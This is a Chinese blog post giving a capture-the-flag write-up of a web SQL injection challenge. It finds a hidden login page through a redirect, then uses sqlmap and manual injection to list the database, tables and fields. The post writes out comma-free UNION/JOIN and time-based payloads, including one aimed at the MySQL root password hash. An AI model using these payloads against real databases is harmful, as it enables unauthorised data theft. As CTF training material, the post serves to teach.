首页 > 数据库 >“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi

时间:2023-05-19 17:03:37浏览次数:73  
标签:Web JOIN SQLi CTF SELECT 注入 id select 页面


收获的知识:

  1. 重定向一般发生在访问域名而且不加参数或者文件夹名,文件名这样的情况下
  2. sql注入也要留意HTTP信息的变化
  3. 可以利用SQL map跑一下看看有没有有用的信息
  4. 不使用单引号和逗号的注入的注入技巧

 

 

 

发现页面空白 然后查看源文件 发现另一个页面

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_sql

进去后出现

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_sql_02

 

后来手测和用sqlmap跑感觉这不是一个注入点

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_sql_03

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_04

看了别人的writeup之后发现这是个假的页面

我们开启代理利用burp查找访问页面时候的蛛丝马迹

 

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_05

出现了一个302跳转,说明里面会有点有价值的东西在里面

重定向一般发生在访问域名而且不加参数或者文件夹名,文件名这样的情况下,比如直接访问http://cb87eea5076847d2ad29131c9893ac540aa0d0ef643b4973.game.ichunqiu.com/就会重定向到一个默认的页面文件。因该记住这个套路。

 

这里还有一个小坑,出题人利用1和l相似的原理想骗过别人,让人觉得URL没有问题

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_06

然后我们访问下上面的网址,发现还是一样

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_07

这个时候我们发送到Repeater里面 查看详细的信息,光看历史会错过很多有用的信息

我们重发一遍请求,在返回包里面发现了这个

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_08

这个其实才是真的注入页面

http://53574d90404b480e84e9c1d271100ceeb27c702c456643d4.game.ichunqiu.com/l0gin.php?id=1

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_09

我就先扔到sqlmap里面跑看看有没有什么有用的信息

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_10

有基于时间和布尔的盲注

然后就转为手工注入,通过查看sqlmap的payload我们大体知道参数 需要闭合前后的单引号

接着爆数据库,发现无法得到,没办法,只能手工注入了, 
这里我选择基于布尔的盲注,因为这样的回显比基于时间的看起来明显。 
输入参数 
1' and ascii(substr((select database()),1,1))>64 %23 
查询数据库名,发现,注入失败,并且,后面的sql语句被过滤掉了,id字段输出的应该就是过滤后的sql语句了

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_11

 

 

 

查阅了wp后,文中提到了另一种不需要逗号的注入:

 

select * from table1 where id =1 and exists (select * from table2 where ord(substring(username from 1 for 1)=97);

127' UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)#

select case when substring((select password from mysql.user where user='root') from 1 for 1)='e' then sleep(5) else 0 end #

substring((select password from mysql.user where user='root') from -1)='e'

以上例句请根据自己的情况而定。

 

这里我们使用

127' UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)#

这条语句 

http://53574d90404b480e84e9c1d271100ceeb27c702c456643d4.game.ichunqiu.com/l0gin.php?id=1' union select * from (select database()) a join (select version() ) b %23

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_字段_12

发现页面正常,这里我们其实成功了但是只会显示第一句因为联合查询第一个语句有结果的话就会出第一个语句的结果我们把1改为不存的值就行

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_sql_13

查表名

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_sql_14

查字段名

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_字段_15

但是你这里会发现只出现了id,其实还有其他的但是位置不够显示不出来,这里我们用不了concat因为我们不知道其他字段的名字不能联合,concat_ws也不能用因为这个函数有逗号会失效,这里我就直接使用group_concat()直接把所有字段连在一起显示出来而且不需要用到逗号

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi_重定向_16

 

标签:Web,JOIN,SQLi,CTF,SELECT,注入,id,select,页面
From: https://blog.51cto.com/u_14008060/6313974

相关文章

  • WebSocket 服务端-SupperWebSocket
    通过对FlectWebsocket和SupperWebSocket的比较,初步总结出WebSocket服务端的实现步骤:建立WebSocket服务,并注册事件(OpendOnMessageReceivedClosed)配置监听地址Fleck的WebSocketServer(url)url="ws://0.0.0.0:10020"而SupperWebSocket.Setup(ip,port)启动监听S......
  • 天翼云CDN全站加速产品对websocket协议的支持
    本文分享自天翼云开发者社区《天翼云CDN全站加速产品对websocket协议的支持》,作者:郭****迎1、背景介绍HTTP协议有一个缺陷:通信只能由客户端发起。这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就只能使用轮询的方案。轮询是在特定的时间间隔(如每1秒),由浏览......
  • Qt+QtWebApp开发笔记(二):http服务器日志系统介绍、添加日志系统至Demo测试
    前言  上一篇使用QtWebApp的基于Qt的轻量级http服务器实现了一个静态网页返回的Demo,网页服务器很重要的就是日志,因为在服务器类上并没有直接返回,所以,本篇先把日志加上。 Demo  下载地址  链接:https://pan.baidu.com/s/1BPVRLS07qk-WPi-txERKbg?pwd=1234......
  • javaweb
    一、html和css二、JavaScript三、Jquery(jquery+jquery动画)四、xml五、tomcat&servlet六、jsp七、el表达式(包含jstl标签库)八、文件上传和下载九、Cookie(包含Session)十、Filter十一、Json、ajax、i18十二、axios......
  • Mobile Web调试工具Weinre
    现在、将来,用移动设备上网越来越成为主流。但对于开发者们来说,移动web的调试一直是个难题,前期可以使用模拟器来协助调试,但到了真机调试阶段就让人非常头痛。而Weinre就是解决这难题的利器。Weinre的本意是WebInspectorRemote,它是一种远程调试工具。功能与Firebug、Webkiti......
  • css3中webkit-box的用法
    webkit-box1、之前要实现横列的web布局,通常就是float或者display:inline-block;但是都不能做到真正的流体布局。至少width要自己去算百分比。2.flexiblebox就可以实现真正意义上的流体布局。只要给出相应属性,浏览器会帮我们做额外的计算。提供的关于盒模型的几个属性:box-orient......
  • web安全为主的网页集合
    xrayGitHub-chaitin/xray:一款完善的安全评估工具,支持常见web安全问题扫描和自定义poc|使用之前务必先阅读文档vulhubVulhub-Docker-Composefileforvulnerabilityenvironment ......
  • text-generation-webui安装部署的过程-window版本,最后成功运行OPT大模型
    环境:操作系统:windows11RAM:16.0GB处理器:AMDRyzen3700X显卡:NVIDIAGeForceGTX10603GB 1、从上面github下载window版本的一键安装部署的zip。地址:https://github.com/oobabooga/text-generation-webui/2、根据github上步骤,一键安装。  3、等待安装完之后,配置pyt......
  • 从零玩转Websocket实时通讯服务之前后端分离版本-websocket
    title:从零玩转Websocket实时通讯服务之前后端分离版本date:2021-10-2500:47:12.945updated:2021-12-2617:43:10.496url:https://www.yby6.com/archives/websocketcategories:-OSS-mysql-api-单例模式-websokcettags:前言公司项目需要用到消息提示,那么......
  • web页面获取显示钉钉智能会议室申请信息,调用智能会议室api,并传参数
    首页获得会议室房间名称1<!DOCTYPEhtml>2<htmllang="en">3<head>4<metacharset="UTF-8">5<metahttp-equiv="X-UA-Compatible"content="IE=edge">6<metaname="......